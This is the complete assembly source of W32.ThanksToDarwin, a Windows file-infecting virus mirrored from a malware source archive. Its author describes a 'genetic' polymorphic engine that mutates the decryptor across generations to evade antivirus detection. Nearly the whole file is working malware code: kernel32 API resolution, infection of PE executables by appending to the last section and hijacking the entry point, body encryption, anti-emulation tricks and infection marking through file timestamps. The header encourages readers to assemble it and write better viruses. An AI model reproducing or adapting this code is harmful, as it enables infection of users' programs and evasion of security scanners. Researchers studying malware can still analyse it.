mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 14:35:27 +00:00
1007 lines
23 KiB
NASM
1007 lines
23 KiB
NASM
; W32.ThanksToDarwin by BlueOwl
|
|
; ---------------------------------------------------------------------
|
|
;
|
|
; W32.ThanksToDarwin is my first genetic polymorphic virus. Unlike normal poly-
|
|
; morphic virusses which generate their decryptors at random, this virus
|
|
; will use its genes to do so and only a few adaptations are made each
|
|
; time to genes. This way, its offspring will look like it and thus
|
|
; inherit the genes that made it survive. All thanks to Darwinian -
|
|
; evolution :).
|
|
;
|
|
; Disclaimer: I do mention how fun it is to assemble and try this out
|
|
; a few times in this article. I am not responsible for any
|
|
; loss though. I did my best.
|
|
;
|
|
; Results with (not yet updated) antivirus scanners in my tests:
|
|
; 1st generation detection: 100%
|
|
; 2nd generation detection: 70%
|
|
; 3rd generation detection: 5%
|
|
; 4rd generation detection: 4%
|
|
; (no difference after this)
|
|
;
|
|
; Because of the gene-giving even if only a small fraction survived their
|
|
; offspring would infect good because they 'know what worked'.
|
|
;
|
|
; Details: - Kan produce 268435456 different decryptors and 65536 different
|
|
; encryptions. In all, 17592186044416, different virusses. Leave
|
|
; it up to evolution to find that perfect one!
|
|
; - Infection mark = milliseconds and seconds of the creation date
|
|
; set to zero
|
|
; - Does not restore the original files dates on purpose: file -
|
|
; checkers that see the file has been changed will sooner alert
|
|
; when the program date did not change, as this is typical virus
|
|
; behaviour
|
|
; - Will only infect the current directory so if you like you can
|
|
; try the virus without having to fear getting your whole computer
|
|
; infected
|
|
; - On some points, the virus could do a lot better, I just didn't
|
|
; feel like making it that good. I hope you are inspired to make
|
|
; a genetic virus which is lots better though.
|
|
;
|
|
; Note: if you choose to assemble it please note that the 1st generation
|
|
; will crash when it tries to return to the original host (because
|
|
; there is none ;)).
|
|
;
|
|
; Thanks to: Docter Ludwig for his book "The big black book of
|
|
; computer virusses", with some data about genetic
|
|
; virusses in the DOS days.
|
|
;
|
|
; Assemble with FASM (http://www.flatassembler.net)
|
|
;
|
|
;
|
|
; 17-3-2004 Note: After this version I made lots of other (unpublished,
|
|
; yet?) virusses but I decided to publish this anyways as people
|
|
; might learn something from it anyways. The api finding and
|
|
; everything is very old school, but just remember it was
|
|
; one of my first stupid pe-virusses. I also gave this virus
|
|
; a better RNG.
|
|
;
|
|
; ---------------------------------------------------------------------
|
|
|
|
; I'm sorry for not commenting it much
|
|
|
|
include '%fasminc%/win32ax.inc'
|
|
|
|
; Simple equates
|
|
gzero equ db 0ACh,08h,0C0h,75h,0FBh
|
|
virus_size equ (end_of_virus-start_of_virus)
|
|
genes_count equ (mgenes_end-mutate)
|
|
|
|
; Apis
|
|
FindFirstFile equ [ebp+(_FindFirstFile-delta)]
|
|
FindNextFile equ [ebp+(_FindNextFile-delta)]
|
|
FindClose equ [ebp+(_FindClose-delta)]
|
|
CreateFile equ [ebp+(_CreateFileA-delta)]
|
|
ReadFile equ [ebp+(_ReadFile-delta)]
|
|
WriteFile equ [ebp+(_WriteFile-delta)]
|
|
CloseHandle equ [ebp+(_CloseHandle-delta)]
|
|
GlobalAlloc equ [ebp+(_GlobalAlloc-delta)]
|
|
GlobalLock equ [ebp+(_GlobalLock-delta)]
|
|
GlobalUnlock equ [ebp+(_GlobalUnlock-delta)]
|
|
GlobalFree equ [ebp+(_GlobalFree-delta)]
|
|
SetFileAttributes equ [ebp+(_SetFileAttributes-delta)]
|
|
FileTimeToLocalFileTime equ [ebp+(_FileTimeToLocalFileTime-delta)]
|
|
FileTimeToSystemTime equ [ebp+(_FileTimeToSystemTime-delta)]
|
|
SystemTimeToFileTime equ [ebp+(_SystemTimeToFileTime-delta)]
|
|
LocalFileTimeToFileTime equ [ebp+(_LocalFileTimeToFileTime-delta)]
|
|
SetFileTime equ [ebp+(_SetFileTime-delta)]
|
|
GetProcAddress equ [ebp+(getprocaddr-delta)]
|
|
|
|
start_of_virus:
|
|
virus_start: mov edx, 12345678h ; this will be filled with the-
|
|
call delta ; decryptor size
|
|
delta: pop ebp
|
|
mov eax, ebp
|
|
sub eax, edx
|
|
sub eax, (delta-virus_start)
|
|
sub eax, 12345678h
|
|
NEIP: NewEIP equ (NEIP-4)
|
|
add eax, 12345678h
|
|
OEIP: OldEIP equ (OEIP-4)
|
|
mov [ebp+(return_addr-delta)], eax
|
|
|
|
mov esi, [esp]
|
|
sub si, si
|
|
mov ecx, 20h
|
|
loop_mz: cmp word [esi], 'MZ'
|
|
je got_k32
|
|
sub esi, 1000h
|
|
loopne loop_mz
|
|
jmp goto_host
|
|
got_k32: mov edx,esi
|
|
mov [ebp+(k32-delta)], edx
|
|
mov ebx, [esi+03Ch]
|
|
add ebx, esi
|
|
cmp word [ebx], 'PE'
|
|
je kernel_ok
|
|
jmp goto_host
|
|
kernel_ok: mov ebx, [ebx+078h]
|
|
add ebx, esi
|
|
mov eax, [ebx+020h]
|
|
add esi, eax
|
|
xor ecx, ecx
|
|
searchexport: lodsd
|
|
add eax, edx
|
|
|
|
push esi
|
|
mov esi, eax
|
|
lodsd
|
|
cmp eax, 'GetP'
|
|
jne cagain
|
|
lodsd
|
|
cmp eax, 'rocA'
|
|
jne cagain
|
|
pop esi
|
|
jmp got_procaddr
|
|
cagain: pop esi
|
|
inc ecx
|
|
cmp ecx,[ebx+018h]
|
|
jle searchexport
|
|
|
|
jmp goto_host
|
|
got_procaddr: mov esi,[ebx+01Ch]
|
|
add esi,edx
|
|
inc ecx
|
|
addj: lodsd
|
|
add eax,edx
|
|
loop addj
|
|
done: mov [ebp+(getprocaddr-delta)],eax
|
|
|
|
lea esi, [ebp+(k32_apis-delta)]
|
|
get_apis: push esi
|
|
push [ebp+(k32-delta)]
|
|
call GetProcAddress
|
|
mov ebx, eax
|
|
gzero
|
|
mov edi, esi
|
|
mov eax, ebx
|
|
stosd
|
|
mov esi, edi
|
|
mov al, [esi]
|
|
or al, al
|
|
jnz get_apis
|
|
|
|
pushad
|
|
lea edi, [ebp+(cpy-delta)]
|
|
lea esi, [ebp+(mutate-delta)]
|
|
mov ecx, (mutateend-mutate)
|
|
rep movsb
|
|
popad
|
|
|
|
push 314d
|
|
push GMEM_MOVEABLE
|
|
call GlobalAlloc
|
|
or eax, eax
|
|
jz goto_host
|
|
mov [ebp+(findmem_handle-delta)], eax
|
|
push eax
|
|
call GlobalLock
|
|
mov [ebp+(findmem-delta)], eax
|
|
|
|
push eax
|
|
lea eax, [ebp+(search_mask-delta)]
|
|
push eax
|
|
call FindFirstFile
|
|
mov [ebp+(find_handle-delta)], eax
|
|
inc eax
|
|
jz search_end
|
|
|
|
infect_file: mov eax, [ebp+(findmem-delta)]
|
|
lea eax, [eax+4]
|
|
|
|
lea ebx, [ebp+(filetime-delta)]
|
|
push ebx
|
|
push eax
|
|
call FileTimeToLocalFileTime
|
|
|
|
lea eax, [ebp+(systemtime-delta)]
|
|
push eax
|
|
lea ebx, [ebp+(filetime-delta)]
|
|
push ebx
|
|
call FileTimeToSystemTime
|
|
|
|
mov ax, [ebp+(smsecond-delta)]
|
|
cmp ax, 0
|
|
jne host_ok
|
|
mov ax, [ebp+(ssecond-delta)]
|
|
cmp ax, 0
|
|
je already_infected
|
|
|
|
host_ok: mov [ebp+(smsecond-delta)], 0
|
|
mov [ebp+(ssecond-delta)], 0
|
|
|
|
call infection
|
|
|
|
already_infected:
|
|
|
|
push [ebp+(findmem-delta)]
|
|
push [ebp+(find_handle-delta)]
|
|
call FindNextFile
|
|
or eax, eax
|
|
jnz infect_file
|
|
|
|
push [ebp+(find_handle-delta)]
|
|
call FindClose
|
|
|
|
search_end: push [ebp+(findmem_handle-delta)]
|
|
call GlobalUnlock
|
|
push [ebp+(findmem_handle-delta)]
|
|
call GlobalFree
|
|
|
|
or ebp, ebp
|
|
jz skip_jump
|
|
|
|
goto_host: push [ebp+(return_addr-delta)]
|
|
skip_jump: ret
|
|
|
|
; -----------------------------------------------------------------------------------
|
|
|
|
infection: push 0
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push OPEN_EXISTING
|
|
push 0
|
|
push FILE_SHARE_READ
|
|
push GENERIC_READ
|
|
mov ebx, [ebp+(findmem-delta)]
|
|
add ebx, 44
|
|
push ebx
|
|
call CreateFile
|
|
mov [ebp+(file_handle-delta)], eax
|
|
mov edx, eax
|
|
inc eax
|
|
jz return_infect ; can't open
|
|
|
|
mov eax, [ebp+(findmem-delta)]
|
|
mov eax, [eax+32]
|
|
add eax, (virus_size+600) ; make some room (+600 to be sure)
|
|
push eax
|
|
push GMEM_MOVEABLE
|
|
call GlobalAlloc
|
|
or eax, eax
|
|
jz close_file ; can't allocate
|
|
mov [ebp+(filemem_handle-delta)], eax
|
|
|
|
push eax
|
|
call GlobalLock
|
|
mov [ebp+(filemem-delta)], eax
|
|
|
|
push 0
|
|
lea ebx, [ebp+(NBR-delta)]
|
|
push ebx
|
|
mov eax, [ebp+(findmem-delta)]
|
|
push dword [eax+32]
|
|
push [ebp+(filemem-delta)]
|
|
push [ebp+(file_handle-delta)]
|
|
call ReadFile
|
|
or eax, eax
|
|
jz close_mem
|
|
|
|
push [ebp+(file_handle-delta)]
|
|
call CloseHandle
|
|
|
|
mov eax, [ebp+(filemem-delta)]
|
|
mov esi, [eax+3Ch]
|
|
add esi, eax ; get pointer to pe header
|
|
|
|
cmp dword [esi], "PE"
|
|
jne close_mem
|
|
|
|
mov eax, [esi+3Ch]
|
|
mov [ebp+(file_align-delta)], eax
|
|
mov edi, esi
|
|
|
|
movzx eax, word [edi+06h]
|
|
dec eax
|
|
imul eax,eax,28h ; * 28
|
|
add esi,eax ;
|
|
add esi,78h ; dir table
|
|
mov edx,[edi+74h] ; dir entries
|
|
shl edx,3 ; * 8
|
|
add esi,edx ; last section
|
|
|
|
mov eax,[edi+28h] ; get entrypoint
|
|
mov dword [ebp+(OldEIP-delta)],eax ; save
|
|
|
|
mov edx,[esi+10h] ; edx = size of raw data
|
|
mov ebx,edx ;
|
|
add edx,[esi+14h] ; add pointer to raw data
|
|
|
|
push edx
|
|
|
|
mov eax,ebx
|
|
add eax,[esi+0Ch] ; eax = new eip
|
|
mov [edi+28h],eax ; change it
|
|
mov dword [ebp+(NewEIP-delta)],eax
|
|
|
|
mov [ebp+(sheader-delta)], esi
|
|
mov [ebp+(dheader-delta)], edi
|
|
pop edx
|
|
|
|
or dword [esi+24h],0A0000020h ; put writeable, readable, executable
|
|
|
|
xchg edi,edx
|
|
|
|
add edi,dword [ebp+(filemem-delta)] ; save the stuff for later
|
|
mov [ebp+(start_host-delta)], edi
|
|
|
|
pushad
|
|
lea esi, [ebp+(cpy-delta)]
|
|
lea edi, [ebp+(mutate-delta)]
|
|
mov ecx, (mutateend-mutate)
|
|
rep movsb ; save the genes
|
|
dw 310Fh
|
|
xor [ebp+(random_seed-delta)], eax ; randomize
|
|
xor [ebp+(startkey-delta)], al ; ..
|
|
xor [ebp+(slidingkey-delta)], ah ; ..
|
|
|
|
lea esi, [ebp+(mutate-delta)]
|
|
mov edi, esi
|
|
mov ecx, genes_count
|
|
decide_loop: sub eax, eax ; randomize the genes
|
|
mov al, genes_count
|
|
call rand_index
|
|
or eax, eax
|
|
jnz noswitch
|
|
lodsb
|
|
xor al, 1 ; switch gene off/on
|
|
stosb
|
|
jmp switched
|
|
noswitch: movsb
|
|
switched: dec ecx
|
|
jne decide_loop
|
|
mov ecx, 6
|
|
lea esi, [ebp+(regs-delta)]
|
|
decide2_loop: mov eax, 5
|
|
call rand_index
|
|
mov ebx, eax
|
|
mov al, [esi]
|
|
xchg al, [esi+ebx]
|
|
mov [esi], al
|
|
dec ecx
|
|
jne decide2_loop
|
|
popad
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
original_esp equ [edx-(1*4)]
|
|
so_virus equ [edx-(2*4)]
|
|
so_void equ [edx-(3*4)]
|
|
vsize equ [edx-(4*4)]
|
|
pos_callplace equ [edx-(5*4)]
|
|
ads_distance equ [edx-(6*4)]
|
|
ads_size equ [edx-(7*4)]
|
|
start_loop equ [edx-(8*4)]
|
|
|
|
poly_generator: mov edx, esp ; stack to edx
|
|
push esp
|
|
push esi
|
|
push edi
|
|
push ecx
|
|
|
|
; Gene for cutting of emulation
|
|
; -----------------------------
|
|
|
|
cmp [ebp+(gene_noemul-delta)], 0
|
|
je no_emul
|
|
mov ax, 0C029h
|
|
stosw
|
|
mov ax, 0C8FEh ; sub eax, eax
|
|
stosw ; keep_going: dec al
|
|
mov ax, 0C008h ; or al, al
|
|
stosw ; je was_oke
|
|
mov ax, 0474h ; jne keep_going
|
|
stosw ; jmp somewhere_in_code
|
|
mov ax, 0F875h ; was_oke:
|
|
stosw
|
|
mov ax, 67EBh
|
|
stosw
|
|
|
|
no_emul:
|
|
|
|
; Extra anti emulation
|
|
; --------------------
|
|
|
|
cmp [ebp+(gene_specialkey-delta)], 0
|
|
jne skipskey
|
|
cmp [ebp+(startkey-delta)], 0
|
|
je skipskey ; here an av would get
|
|
mov ax, 1829h ; forced to loop X times
|
|
or ah, [ebp+(gene_encrypt-delta)] ; in order to get the
|
|
shl ah, 3 ; encryption key
|
|
or ah, [ebp+(gene_encrypt-delta)] ; if it doesn't (and most-
|
|
stosw ; don't) the virus body
|
|
mov ax, 0C929h ; will be wrongly de-
|
|
stosw ; crypted
|
|
mov al, 0B1h
|
|
stosb
|
|
mov al, [ebp+(startkey-delta)]
|
|
stosb
|
|
mov al, 40h
|
|
or al, [ebp+(gene_encrypt-delta)]
|
|
stosb
|
|
mov ax, 0FDE2h
|
|
cmp [ebp+(gene_specialkeyl-delta)],0
|
|
jne no_decskl
|
|
mov al, 049h
|
|
stosb
|
|
mov ax, 0FC75h
|
|
no_decskl: stosw
|
|
skipskey:
|
|
|
|
; Gene for the Call
|
|
; -----------------
|
|
|
|
cmp [ebp+(gene_call-delta)], 0
|
|
jne callway2
|
|
mov al, 0E8h ; call nextbyte
|
|
stosb
|
|
push edi
|
|
sub eax, eax ; " "
|
|
stosd
|
|
mov al, 58h
|
|
or al, [ebp+(gene_memreg-delta)]
|
|
stosb
|
|
jmp callend
|
|
callway2: mov al, 0E8h ; call to_end_of_code
|
|
stosb
|
|
push edi
|
|
stosd
|
|
callend:
|
|
|
|
; Gene for adding distance
|
|
; ------------------------
|
|
|
|
mov al, 81h ; this is always in front of
|
|
; add and sub
|
|
|
|
cmp [ebp+(gene_distance-delta)],0
|
|
jne distance2
|
|
mov ah, 0C0h ; add
|
|
jmp distancedone
|
|
distance2: mov ah, 0E8h ; sub
|
|
distancedone: or ah, [ebp+(gene_memreg-delta)]
|
|
stosw
|
|
push edi
|
|
stosd
|
|
|
|
|
|
; Gene for declaring virus-size
|
|
; -----------------------------
|
|
|
|
cmp [ebp+(gene_size-delta)],0
|
|
jne size2
|
|
mov al, 0B8h ; mov reg, x
|
|
or al, [ebp+(gene_counter-delta)]
|
|
stosb
|
|
jmp size_done
|
|
size2: cmp [ebp+(gene_sizem-delta)], 0
|
|
jne sizem2
|
|
mov ax, 01831h ; xor reg, reg
|
|
or ah, [ebp+(gene_counter-delta)]
|
|
shl ah, 3
|
|
or ah, [ebp+(gene_counter-delta)]
|
|
stosw
|
|
jmp sizeput
|
|
sizem2: mov ax, 01829h
|
|
or ah, [ebp+(gene_counter-delta)]
|
|
shl ah, 3
|
|
or ah, [ebp+(gene_counter-delta)]
|
|
stosw
|
|
sizeput: cmp [ebp+(gene_sizea-delta)], 0
|
|
je puts2
|
|
mov ax, 0F081h
|
|
jmp putsand
|
|
puts2: mov ax, 0C881h
|
|
putsand: or ah, [ebp+(gene_counter-delta)]
|
|
stosw
|
|
size_done: push edi
|
|
mov eax, virus_size
|
|
stosd
|
|
|
|
|
|
; Gene for declaring the first
|
|
; encryption value
|
|
; ----------------------------
|
|
|
|
cmp [ebp+(gene_specialkey-delta)], 0
|
|
je key_done
|
|
key_normal: cmp [ebp+(gene_1stval-delta)],0
|
|
jne firstval2
|
|
mov al, 0B8h
|
|
or al, [ebp+(gene_encrypt-delta)]
|
|
stosb
|
|
jmp firstvalend
|
|
firstval2: cmp [ebp+(gene_1stvalb-delta)], 0
|
|
jne firstvalb2
|
|
mov ax, 0E083h
|
|
or ah, [ebp+(gene_encrypt-delta)]
|
|
stosw
|
|
sub eax, eax
|
|
stosb
|
|
jmp firstvalb_end
|
|
firstvalb2: mov ax, 01829h
|
|
or ah, [ebp+(gene_encrypt-delta)]
|
|
shl ah, 3
|
|
or ah, [ebp+(gene_encrypt-delta)]
|
|
stosw
|
|
firstvalb_end: cmp [ebp+(gene_addenc-delta)], 0
|
|
jne fza2
|
|
mov ax, 0C081h
|
|
or ah, [ebp+(gene_encrypt-delta)]
|
|
stosw
|
|
jmp firstvalend
|
|
fza2: mov ax, 0C881h
|
|
or ah, [ebp+(gene_encrypt-delta)]
|
|
stosw
|
|
firstvalend: push edi
|
|
sub eax, eax
|
|
mov al, [ebp+(startkey-delta)]
|
|
stosd
|
|
key_done:
|
|
|
|
|
|
push edi
|
|
|
|
; Get byte gene
|
|
; -------------
|
|
|
|
cmp [ebp+(gene_getbyte-delta)], 0
|
|
jne getbyte2
|
|
mov al, 08Ah ; xchg or mov
|
|
jmp getbytedone
|
|
getbyte2: mov al, 086h
|
|
getbytedone: mov ah, [ebp+(gene_memreg-delta)]
|
|
stosw
|
|
|
|
; Encrypt byte gene
|
|
; -----------------
|
|
|
|
cmp [ebp+(gene_encryptb-delta)], 0
|
|
jne eb2
|
|
mov ax, 2966h ; sub
|
|
jmp insbe
|
|
eb2: mov ax, 3166h ; xor
|
|
insbe: stosw
|
|
mov al, 18h
|
|
or al, [ebp+(gene_encrypt-delta)]
|
|
shl al, 3
|
|
stosb
|
|
|
|
; Store byte gene
|
|
; ---------------
|
|
|
|
mov al, 88h
|
|
cmp [ebp+(gene_store-delta)], 0 ; xchg or mov again
|
|
jne store2
|
|
mov al, 86h
|
|
store2: mov ah, [ebp+(gene_memreg-delta)]
|
|
stosw
|
|
|
|
; Increment memreg gene
|
|
; ---------------------
|
|
|
|
cmp [ebp+(gene_increment-delta)], 0
|
|
jne inc2
|
|
mov al, 040h ; inc
|
|
or al, [ebp+(gene_memreg-delta)]
|
|
stosb
|
|
jmp incdone
|
|
inc2: mov ax, 0C083h ; add
|
|
or ah, [ebp+(gene_memreg-delta)]
|
|
stosw
|
|
mov al, 1
|
|
stosb
|
|
incdone:
|
|
|
|
; Change the encryption key gene
|
|
; ------------------------------
|
|
|
|
cmp [ebp+(gene_slidingkey-delta)], 0
|
|
jne no_slidingkey
|
|
cmp [ebp+(gene_slidingkeym-delta)], 0
|
|
jne slidingkey2
|
|
mov al, 80h
|
|
stosb
|
|
mov al, 0C0h
|
|
or al, [ebp+(gene_encrypt-delta)]
|
|
mov ah, [ebp+(slidingkey-delta)]
|
|
stosw
|
|
jmp slidingkey_done
|
|
slidingkey2: mov al, 40h
|
|
or al, [ebp+(gene_encrypt-delta)]
|
|
stosb
|
|
slidingkey_done:
|
|
no_slidingkey:
|
|
|
|
; Decrement the encryptcount gene
|
|
; -------------------------------
|
|
|
|
cmp [ebp+(gene_ecount-delta)], 0
|
|
jne ecount2
|
|
mov ax, 0E883h
|
|
or ah, [ebp+(gene_counter-delta)]
|
|
stosw
|
|
mov al, 1
|
|
jmp ecount_done
|
|
ecount2: mov al, 48h
|
|
or al, [ebp+(gene_counter-delta)]
|
|
ecount_done: stosb
|
|
|
|
; Loop gene
|
|
; ---------
|
|
|
|
cmp [ebp+(gene_loop-delta)], 0
|
|
jne loop2
|
|
mov ax, 0F883h
|
|
or ah, [ebp+(gene_counter-delta)]
|
|
stosw
|
|
sub eax, eax
|
|
stosb
|
|
mov ebx, edi
|
|
sub ebx, start_loop
|
|
neg bl
|
|
dec bl
|
|
dec bl
|
|
mov al, 75h
|
|
cmp [ebp+(gene_loop2-delta)], 0
|
|
jne loop1b
|
|
mov al, 77h
|
|
loop1b: mov ah, bl
|
|
stosw
|
|
jmp loopdone
|
|
loop2: mov ax, 1809h
|
|
or ah, [ebp+(gene_counter-delta)]
|
|
shl ah, 3
|
|
or ah, [ebp+(gene_counter-delta)]
|
|
stosw
|
|
mov ebx, edi
|
|
sub ebx, start_loop
|
|
neg bl
|
|
dec bl
|
|
dec bl
|
|
mov al, 75h
|
|
mov ah, bl
|
|
stosw
|
|
|
|
loopdone:
|
|
|
|
; Catch call gene
|
|
; ---------------
|
|
|
|
cmp [ebp+(gene_call-delta)], 0
|
|
je skip_catchcall
|
|
mov al, 0EBh
|
|
stosb ; ...
|
|
mov esi, edi
|
|
stosb
|
|
|
|
mov eax, edi
|
|
mov ebx, pos_callplace
|
|
sub eax, ebx
|
|
sub eax, 4
|
|
mov [ebx], eax
|
|
mov al, 58h
|
|
or al, [ebp+(gene_memreg-delta)]
|
|
stosb
|
|
cmp [ebp+(gene_callret-delta)], 0
|
|
je callret2
|
|
mov al, 50h
|
|
or al, [ebp+(gene_memreg-delta)]
|
|
mov ah, 0C3h
|
|
stosw
|
|
jmp endcallret
|
|
callret2: mov ax, 0E0FFh
|
|
or ah, [ebp+(gene_memreg-delta)]
|
|
stosw
|
|
|
|
endcallret: mov eax, edi
|
|
sub eax, esi
|
|
dec eax
|
|
mov [esi], al
|
|
|
|
skip_catchcall:
|
|
|
|
; ....................................................................................
|
|
|
|
ender: mov ecx, ads_distance
|
|
mov eax, edi
|
|
sub eax, pos_callplace
|
|
sub eax, 4
|
|
cmp [ebp+(gene_distance-delta)], 0
|
|
je skip_neg
|
|
neg eax
|
|
skip_neg: mov [ecx], eax
|
|
|
|
push edi
|
|
lea esi,[ebp+(virus_start-delta)] ; copy virus (with changed DNA)
|
|
mov ecx,virus_size ; to host
|
|
rep movsb ;
|
|
pop esi
|
|
mov eax, esi
|
|
sub eax, [ebp+(start_host-delta)]
|
|
mov [esi+1], eax
|
|
|
|
sub ebx, ebx
|
|
cmp [ebp+(gene_slidingkey-delta)], 0
|
|
jne skip_sliding
|
|
cmp [ebp+(gene_slidingkeym-delta)], 0
|
|
jne s_onlyinc
|
|
mov bl, [ebp+(slidingkey-delta)]
|
|
dec bl
|
|
s_onlyinc: inc bl
|
|
skip_sliding:
|
|
mov bh, [ebp+(startkey-delta)]
|
|
|
|
push edi
|
|
mov edi, esi
|
|
mov ecx, virus_size
|
|
cmp [ebp+(gene_encryptb-delta)], 0
|
|
jne loop_encryptx
|
|
loop_encrypta: lodsb
|
|
add al, bh
|
|
stosb
|
|
add bh, bl
|
|
loop loop_encrypta
|
|
jmp endx
|
|
loop_encryptx: lodsb
|
|
xor al, bh
|
|
stosb
|
|
add bh, bl
|
|
loop loop_encryptx
|
|
endx:
|
|
|
|
pop edi
|
|
mov esp, original_esp
|
|
|
|
|
|
; ---------------------------------------------------------------------------
|
|
|
|
sub edi, [ebp+(start_host-delta)]
|
|
mov [ebp+(start_host-delta)], edi
|
|
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
mov eax, [ebp+(findmem-delta)]
|
|
lea eax, [eax+44]
|
|
push eax
|
|
call SetFileAttributes
|
|
|
|
push 0
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push CREATE_ALWAYS
|
|
push 0
|
|
push 0
|
|
push GENERIC_WRITE
|
|
mov eax, [ebp+(findmem-delta)]
|
|
lea eax, [eax+44]
|
|
push eax
|
|
call CreateFile
|
|
mov [ebp+(file_handle-delta)], eax
|
|
inc eax
|
|
jz close_mem
|
|
|
|
push 0
|
|
lea eax, [ebp+(NBR-delta)]
|
|
push eax
|
|
mov eax, [ebp+(findmem-delta)]
|
|
mov eax, [eax+32]
|
|
add eax, [ebp+(start_host-delta)]
|
|
mov ecx, [ebp+(file_align-delta)]
|
|
call align_it
|
|
push eax
|
|
mov esi,[ebp+(sheader-delta)]
|
|
mov edi,[ebp+(dheader-delta)]
|
|
|
|
mov eax,[esi+10h] ; SizeOfRawData
|
|
add eax,[ebp+(start_host-delta)] ; +virus_size+decryptor_size
|
|
mov ecx,[edi+3Ch]
|
|
call align_it
|
|
|
|
mov [esi+10h], eax ; save the new sizes
|
|
mov [esi+08h], eax
|
|
|
|
;mov eax,[esi+10h] ; EAX = New SizeOfRawData
|
|
add eax,[esi+0Ch]
|
|
mov [edi+50h],eax ; save to size of image
|
|
|
|
push [ebp+(filemem-delta)]
|
|
push [ebp+(file_handle-delta)]
|
|
call WriteFile
|
|
|
|
lea eax, [ebp+(filetime-delta)] ; normal time to local filetime
|
|
push eax
|
|
lea eax, [ebp+(systemtime-delta)]
|
|
push eax
|
|
call SystemTimeToFileTime
|
|
|
|
lea eax, [ebp+(filetime2-delta)] ; local filetime to filetime
|
|
push eax
|
|
lea eax, [ebp+(filetime-delta)]
|
|
push eax
|
|
call LocalFileTimeToFileTime
|
|
|
|
push 0 ; mark the file as infected
|
|
push 0
|
|
lea eax, [ebp+(filetime2-delta)]
|
|
push eax
|
|
push [ebp+(file_handle-delta)]
|
|
call SetFileTime
|
|
|
|
close_mem: push [ebp+(filemem_handle-delta)]
|
|
call GlobalUnlock
|
|
push [ebp+(filemem_handle-delta)]
|
|
call GlobalFree
|
|
close_file: push [ebp+(file_handle-delta)] ; set original attributes
|
|
call CloseHandle
|
|
mov eax, [ebp+(findmem-delta)]
|
|
push dword [eax]
|
|
lea eax, [eax+44]
|
|
push eax
|
|
call SetFileAttributes
|
|
|
|
return_infect: ret
|
|
|
|
|
|
; simple align a value
|
|
; --------------------
|
|
|
|
align_it: push edx
|
|
sub edx, edx
|
|
push eax
|
|
div ecx
|
|
pop eax
|
|
sub ecx, edx
|
|
add eax, ecx
|
|
pop edx
|
|
ret
|
|
|
|
; random number between 0 and eax
|
|
; (this is a good one!)
|
|
; -------------------------------
|
|
|
|
rand_index: push edx
|
|
push ecx
|
|
push ebx
|
|
mov ecx, eax
|
|
inc ecx
|
|
mov eax, [ebp+(random_seed-delta)]
|
|
rol eax, 5 ; by me ;)
|
|
neg ax
|
|
mov bx, ax
|
|
sub al, ah
|
|
bswap eax
|
|
xor ah, al
|
|
sub ax, bx
|
|
mov [ebp+(random_seed-delta)], eax
|
|
sub edx, edx
|
|
div ecx
|
|
mov eax, edx
|
|
pop ebx
|
|
pop ecx
|
|
pop edx
|
|
ret
|
|
|
|
; -----------------------------------------------------------------------------------
|
|
; DATA
|
|
|
|
file_handle dd 0
|
|
filemem_handle dd 0 ; handles
|
|
filemem dd 0
|
|
file_align dd 0
|
|
return_addr dd 0
|
|
start_host dd 0
|
|
|
|
search_mask db "test*.exe",0
|
|
find_handle dd 0
|
|
findmem_handle dd 0
|
|
findmem dd 0
|
|
|
|
startkey db 11h
|
|
slidingkey db 9Ch
|
|
|
|
|
|
|
|
; The virus DNA
|
|
; Feel free to make changes and see
|
|
; the decryptor change :)
|
|
; ---------------------------------
|
|
|
|
mutate:
|
|
gene_call db 0 ; should have been just bits, but whatever ;)
|
|
gene_distance db 0
|
|
gene_size db 0
|
|
gene_sizem db 0
|
|
gene_sizea db 0
|
|
gene_1stval db 0
|
|
gene_1stvalb db 0
|
|
gene_addenc db 0
|
|
gene_getbyte db 0
|
|
gene_encryptb db 0
|
|
gene_store db 0
|
|
gene_increment db 0
|
|
gene_ecount db 0
|
|
gene_loop db 0
|
|
gene_loop2 db 0
|
|
gene_noemul db 0
|
|
gene_callret db 0
|
|
gene_slidingkey db 0
|
|
gene_slidingkeym db 0
|
|
gene_specialkey db 0
|
|
gene_specialkeyl db 0
|
|
mgenes_end:
|
|
|
|
regs:
|
|
gene_memreg db 6h ; I think i forgot to make code for changing
|
|
gene_counter db 1h ; these :D. Whatever ;)
|
|
gene_encrypt db 3h
|
|
gene_encryptc db 2h
|
|
gene_junk1 db 5h
|
|
gene_junk2 db 7h
|
|
mutateend:
|
|
|
|
cpy rb (mutateend-mutate)
|
|
|
|
filetime dd 0,0
|
|
filetime2 dd 0,0
|
|
systemtime dw 0,0,0,0,0,0
|
|
ssecond dw 0
|
|
smsecond dw 0
|
|
random_seed dd 93FA017Bh
|
|
NBR dd 0
|
|
k32 dd 0
|
|
getprocaddr dd 0
|
|
sheader dd 0
|
|
dheader dd 0
|
|
|
|
gptext db 'GetProcAddress',0
|
|
|
|
|
|
; Api table
|
|
k32_apis db "FindFirstFileA",0
|
|
_FindFirstFile dd 0
|
|
db "FindNextFileA",0
|
|
_FindNextFile dd 0
|
|
db "FindClose",0
|
|
_FindClose dd 0
|
|
db "CreateFileA",0
|
|
_CreateFileA dd 0
|
|
db "ReadFile",0
|
|
_ReadFile dd 0
|
|
db "WriteFile",0
|
|
_WriteFile dd 0
|
|
db "CloseHandle",0
|
|
_CloseHandle dd 0
|
|
db "GlobalAlloc",0
|
|
_GlobalAlloc dd 0
|
|
db "GlobalLock",0
|
|
_GlobalLock dd 0
|
|
db "GlobalUnlock",0
|
|
_GlobalUnlock dd 0
|
|
db "GlobalFree",0
|
|
_GlobalFree dd 0
|
|
db "SetFileAttributesA",0
|
|
_SetFileAttributes dd 0
|
|
db "FileTimeToLocalFileTime",0 ; apis used for
|
|
_FileTimeToLocalFileTime dd 0 ; filemarking
|
|
db "FileTimeToSystemTime",0
|
|
_FileTimeToSystemTime dd 0
|
|
db "SystemTimeToFileTime",0
|
|
_SystemTimeToFileTime dd 0
|
|
db "LocalFileTimeToFileTime",0
|
|
_LocalFileTimeToFileTime dd 0
|
|
db "SetFileTime",0
|
|
_SetFileTime dd 0
|
|
|
|
db 0
|
|
end_of_virus:
|
|
|
|
|
|
; &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|